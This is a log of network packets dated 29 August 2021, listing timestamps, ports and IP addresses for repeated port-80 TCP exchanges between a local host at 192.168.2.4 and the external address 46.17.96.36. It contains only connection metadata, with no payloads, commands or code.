Aug 29, 2021 22:28:21.960613966 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.960654020 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.960684061 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.960707903 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.960716963 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.960741997 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.960743904 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.960766077 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.960793018 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.960793972 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.960808039 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.960822105 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.960839033 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.960839033 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.960860014 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.960867882 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.960875034 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.960890055 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.960964918 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.960982084 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.996733904 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.996788979 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.996825933 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.996867895 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.996872902 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.996903896 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.996923923 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.996939898 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.996943951 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.996974945 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.997100115 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.997137070 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.997317076 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.997353077 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.997457027 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.997493029 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.997594118 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.032535076 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.032579899 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.032613993 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.032785892 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.032891035 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.033036947 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.033071041 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.033250093 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.033432007 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.069084883 CEST	49961	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.070118904 CEST	49963	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.071844101 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.072019100 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.101140976 CEST	80	49961	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.101278067 CEST	49961	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.102277040 CEST	80	49963	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.102399111 CEST	49963	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.108160019 CEST	49963	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.140830994 CEST	80	49963	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.188016891 CEST	80	49963	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.188183069 CEST	49963	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.459845066 CEST	49963	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.460172892 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.461189985 CEST	49964	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.492255926 CEST	80	49963	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.492393970 CEST	49963	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.495491028 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.495523930 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.495647907 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.496021032 CEST	80	49964	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.496148109 CEST	49964	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.521174908 CEST	49964	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.530791998 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.530914068 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.556103945 CEST	80	49964	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.558584929 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.558686018 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.558857918 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.559005022 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.593863010 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.593898058 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.593921900 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.593945026 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.594022036 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.594072104 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.594234943 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.594338894 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.594440937 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.594470024 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.594523907 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.594551086 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.597179890 CEST	80	49964	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.597289085 CEST	49964	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.630717993 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.630750895 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.630778074 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.630815983 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.630825043 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.630853891 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.630861998 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.630881071 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.630891085 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.630903959 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.630927086 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.630937099 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.630950928 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.631028891 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.666353941 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.666393042 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.666416883 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.666445971 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.666527033 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.666588068 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.666588068 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.666610003 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.666774035 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.666799068 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.666995049 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.667213917 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.667249918 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.667339087 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.667465925 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.667494059 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.667686939 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.702291965 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.702337980 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.702356100 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.702414036 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.702456951 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.702486038 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.702781916 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.708806992 CEST	49964	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.709870100 CEST	49966	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.743383884 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.743513107 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.743613958 CEST	80	49964	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.743731022 CEST	49964	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.744705915 CEST	80	49966	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.744801998 CEST	49966	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.834120035 CEST	49966	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:22.869299889 CEST	80	49966	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.911597967 CEST	80	49966	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:22.911741972 CEST	49966	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.163978100 CEST	49966	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.164275885 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.165334940 CEST	49967	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.175755978 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.201442003 CEST	80	49967	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.201529980 CEST	49967	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.202929020 CEST	80	49966	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.203011990 CEST	80	49965	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.203036070 CEST	49966	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.203087091 CEST	49965	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.203746080 CEST	49967	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.211379051 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.211477995 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.228316069 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.228394032 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.228563070 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.228679895 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.236613035 CEST	80	49967	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.264419079 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.264452934 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.264468908 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.264576912 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.264825106 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.264851093 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.264925003 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.264974117 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.264991999 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.265028954 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.265063047 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.265103102 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.284012079 CEST	80	49967	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.284130096 CEST	49967	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.300035000 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.300075054 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.300180912 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.300221920 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.300221920 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.300308943 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.300448895 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.300477982 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.300502062 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.300664902 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.300745010 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.300775051 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.300776958 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.300849915 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.300915956 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.300940990 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.335535049 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.335566044 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.335577965 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.335591078 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.335704088 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.335855007 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.335935116 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.336055994 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.336143970 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.336229086 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.336252928 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.336395979 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.336592913 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.336796045 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.336819887 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.336957932 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.337152958 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.337280035 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.337308884 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.337475061 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.347479105 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.347557068 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.347601891 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.371252060 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.371292114 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.383436918 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.383641005 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.383675098 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.383840084 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.383877039 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.420929909 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.421140909 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.442090034 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.518012047 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.519581079 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.519679070 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.678503990 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.678751945 CEST	49967	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.679800034 CEST	49969	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.694350004 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.711169958 CEST	80	49967	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.711328030 CEST	49967	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.713752985 CEST	80	49968	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.713872910 CEST	49968	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.714458942 CEST	80	49969	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.714556932 CEST	49969	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.726725101 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.726856947 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.736783981 CEST	49969	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.738125086 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.738235950 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.738414049 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.738539934 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.770421982 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.770467043 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.770499945 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.770543098 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.770579100 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.770615101 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.770653963 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.770663977 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.770767927 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.770802975 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.770839930 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.770878077 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.770905018 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.770911932 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.771509886 CEST	80	49969	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.803075075 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.803194046 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.803239107 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.803248882 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.803292036 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.803316116 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.803329945 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.803350925 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.803380013 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.803458929 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.803502083 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.803508997 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.803560972 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.803719997 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.803726912 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.803750992 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.803776026 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.803798914 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.803812027 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.803833008 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.803958893 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.814192057 CEST	80	49969	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.814280033 CEST	49969	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.835850000 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.836002111 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.836033106 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.836127043 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.836131096 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.836157084 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.836183071 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.836477995 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.836513996 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.836543083 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.836565971 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.836658001 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.836685896 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.836711884 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.836950064 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.836977005 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.837001085 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.837025881 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.837050915 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.837327957 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.846765995 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.846843004 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.846858025 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.868561029 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.868824959 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.868849993 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.879234076 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.879276991 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.879318953 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.879348040 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.879370928 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.879888058 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.879925966 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.879962921 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.918560982 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:23.918656111 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.967217922 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.967595100 CEST	49969	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:23.968708038 CEST	49971	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:24.001957893 CEST	80	49970	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:24.002062082 CEST	49970	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:24.002243042 CEST	80	49971	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:24.002331972 CEST	49971	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:24.002599001 CEST	80	49969	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:24.002650976 CEST	49969	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:24.011387110 CEST	49971	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:24.046017885 CEST	80	49971	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:24.090118885 CEST	80	49971	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:24.090212107 CEST	49971	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.271699905 CEST	49971	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.272824049 CEST	49972	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.287940979 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.305185080 CEST	80	49972	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.305205107 CEST	80	49971	46.17.96.36	192.168.2.4
